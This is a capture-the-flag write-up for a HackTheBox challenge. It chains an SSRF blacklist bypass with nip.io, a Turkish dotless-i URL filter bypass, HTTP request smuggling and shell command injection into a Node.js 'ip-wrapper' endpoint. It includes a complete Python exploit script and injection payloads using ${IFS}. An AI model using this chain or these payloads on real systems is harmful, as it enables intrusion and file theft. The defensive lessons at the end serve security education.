$ cat writeup.md…
$ cat writeup.md…
hackthebox
A custom HTTP proxy written in Go that forwards requests to an internal Node.js backend. The goal is to exploit vulnerabilities to achieve command injection and read the flag.
A custom HTTP proxy written in Go that forwards requests to an internal Node.js backend. The goal is to exploit vulnerabilities to achieve command injection and read the flag.
Architecture:
ip-wrapper package that has command injection vulnerability in /flushInterface endpointThe challenge presents a multi-layered architecture requiring multiple bypass techniques:
[Attacker] --> [Go Proxy :1337] --> [Node.js Backend :5000]
| |
- SSRF blacklist - /flushInterface
- URL filter - Command injection
- Body filter in ip-wrapper
To exploit this challenge, we need to bypass multiple security layers:
/flushinterfaceThe Go proxy blacklists common internal IP patterns in the Host header:
localhost0.0.0.0127. (prefix)172. (prefix)192. (prefix)10. (prefix)Key observation: The blacklist checks for 192. (with dot), but DNS wildcard services like nip.io use dashes.
The proxy uses strings.ToLower() to normalize URLs before checking for blocked patterns:
if strings.Contains(strings.ToLower(url), "flushinterface") { // Block request }
Key observation: Go's strings.ToLower() uses simple ASCII lowercasing, not Unicode-aware case folding.
The proxy splits the request body on \r\n\r\n:
bodySplit = strings.Split(requestBytes, "\r\n\r\n") // Only validates bodySplit[1] (first body segment)
Key observation: If we send multiple body segments, only the first is validated, but ALL raw bytes are forwarded to the backend.
The Node.js backend uses the ip-wrapper package which executes shell commands:
exec(`ip address flush dev ${interfaceName}`)
User input is directly interpolated into the shell command without proper sanitization.
Problem: Proxy blacklists 192. prefix in Host header.
Solution: Use nip.io with dashes instead of dots:
192-168-64-236.nip.io resolves to 192.168.64.236192. but our payload contains 192-Host: 192-168-64-236.nip.io:5000
Problem: Proxy blocks URLs containing "flushinterface" (case-insensitive).
Solution: Use Turkish dotless i (ı, U+0131):
/flushınterface (with dotless i)strings.ToLower("ı") returns ı (unchanged)/flushınterface does NOT contain "flushinterface"Verification in Go:
package main import ( "fmt" "strings" ) func main() { url := "/flushınterface" // Turkish dotless i lowered := strings.ToLower(url) fmt.Println(lowered) // Still "/flushınterface" fmt.Println(strings.Contains(lowered, "flushinterface")) // false }
Problem: Even with Turkish I bypass, we need to reach the real /flushInterface endpoint.
Solution: Exploit the body splitting logic to smuggle a second request:
POST /flushınterface HTTP/1.1
Host: 192-168-64-236.nip.io:5000
Content-Type: application/json
Content-Length: 2
{}\r\n\r\nPOST /flushInterface HTTP/1.1
Host: 192-168-64-236.nip.io:5000
Content-Type: application/json
Content-Length: XX
{"interface":"..."}
How it works:
{} (first segment after \r\n\r\n){} - passes all filtersPOST /flushınterface → 404 (endpoint doesn't exist)POST /flushInterface → Reaches vulnerable endpoint!Problem: Body filter blocks newlines (\r\n|\r|\n), semicolons, pipes, etc.
Solution: Use JSON escape sequences:
\n (backslash + n) in HTTP body\n to real newline{"interface":"eth0\\ncat /flag.txt"}
In the HTTP body, this is: {"interface":"eth0\ncat /flag.txt"} (literal backslash-n)
After JSON parsing: eth0 + newline + cat /flag.txt
Command becomes:
ip address flush dev eth0 cat /flag.txt
Problem: Backend validation rejects interface names containing spaces.
Solution: Use ${IFS} (Internal Field Separator) as space substitute:
cat${IFS}/flag.txt is equivalent to cat /flag.txtProblem: No outbound network connectivity, stdout not returned in response.
Solution: Overwrite a file served by the proxy:
/app/proxy/includes/index.html at path /cp${IFS}/flag.txt${IFS}/app/proxy/includes/index.htmlGET / to read the flag#!/usr/bin/env python3 """ HackTheBox Proxy - Full Exploit Chain Combines: SSRF bypass + Turkish I + HTTP Smuggling + Command Injection """ import socket import time TARGET = "94.237.123.185" PORT = 45024 # Command injection payload - copy flag to web-served file # Using ${IFS} as space substitute, \n for newline (JSON escape) payload_body = b'{"interface":"lo\\ncp${IFS}/flag.txt${IFS}/app/proxy/includes/index.html"}' # First body segment (passes validation) body1 = b'{}' # Smuggled second request with real /flushInterface endpoint second_req = ( b"POST /flushInterface HTTP/1.1\r\n" b"Host: 192-168-64-236.nip.io:5000\r\n" b"Content-Type: application/json\r\n" b"Content-Length: " + str(len(payload_body)).encode() + b"\r\n" b"\r\n" + payload_body ) # First request uses Turkish dotless i (\u0131) to bypass URL filter # The proxy sees /flushınterface which doesn't match "flushinterface" first_req = ( f"POST /flush\u0131nterface HTTP/1.1\r\n" f"Host: 192-168-64-236.nip.io:5000\r\n" f"Content-Type: application/json\r\n" f"Content-Length: 2\r\n" f"\r\n" ).encode('utf-8') # Combine: first request + body1 + CRLF separator + smuggled request full_request = first_req + body1 + b"\r\n\r\n" + second_req print("[*] Sending smuggled request with command injection...") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(30) sock.connect((TARGET, PORT)) sock.sendall(full_request) response = sock.recv(4096) print(f"[*] Response: {response[:200]}...") sock.close() # Wait for command execution time.sleep(1) # Read the flag from overwritten index.html print("[*] Fetching flag from overwritten index.html...") req2 = b"GET / HTTP/1.1\r\nHost: test.com:80\r\n\r\n" sock2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock2.settimeout(10) sock2.connect((TARGET, PORT)) sock2.sendall(req2) response = sock2.recv(4096) print("[+] Flag retrieved:") print(response.decode()) sock2.close()
Use these techniques when you see:
SSRF Bypass (nip.io):
Turkish I Attack:
strings.ToLower() (Go)HTTP Request Smuggling:
\r\n\r\nCommand Injection:
exec(), system(), spawn() with user inputip-wrapper or similar network utility packagesExfiltration via File Overwrite:
1. SSRF Bypass
192-168-64-236.nip.io → resolves to 192.168.64.236
Bypasses: "192." blacklist (uses dash, not dot)
2. URL Filter Bypass (Turkish I)
/flushınterface → ToLower() → /flushınterface
Bypasses: "flushinterface" check (ı ≠ i)
3. HTTP Smuggling
Body: {}\r\n\r\nPOST /flushInterface...
Proxy validates: {} (clean)
Backend receives: Two requests
4. Command Injection
JSON: {"interface":"lo\\ncp${IFS}/flag.txt${IFS}/app/proxy/includes/index.html"}
After parsing: lo\ncp /flag.txt /app/proxy/includes/index.html
Shell executes: ip address flush dev lo; cp /flag.txt /app/proxy/includes/index.html
5. Exfiltration
GET / → Returns overwritten index.html with flag content
Custom HTTP parsers are dangerous - They often have subtle differences from standard implementations that can be exploited for smuggling attacks.
Unicode handling in security filters is tricky - Simple ASCII case conversion (strings.ToLower() in Go) doesn't handle Unicode properly. Use Unicode-aware functions or normalize input before filtering.
Blacklists are inherently incomplete - DNS wildcard services like nip.io can bypass IP blacklists. Consider using allowlists instead.
Defense in depth matters - Even with multiple security layers, a chain of bypasses can defeat them all. Each layer should be robust independently.
Blind exfiltration techniques - When network egress is blocked, file-based exfiltration (overwriting served files) is a powerful alternative.
JSON parsing differences - The difference between literal \n in HTTP body and actual newline after JSON parsing can bypass body filters.
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar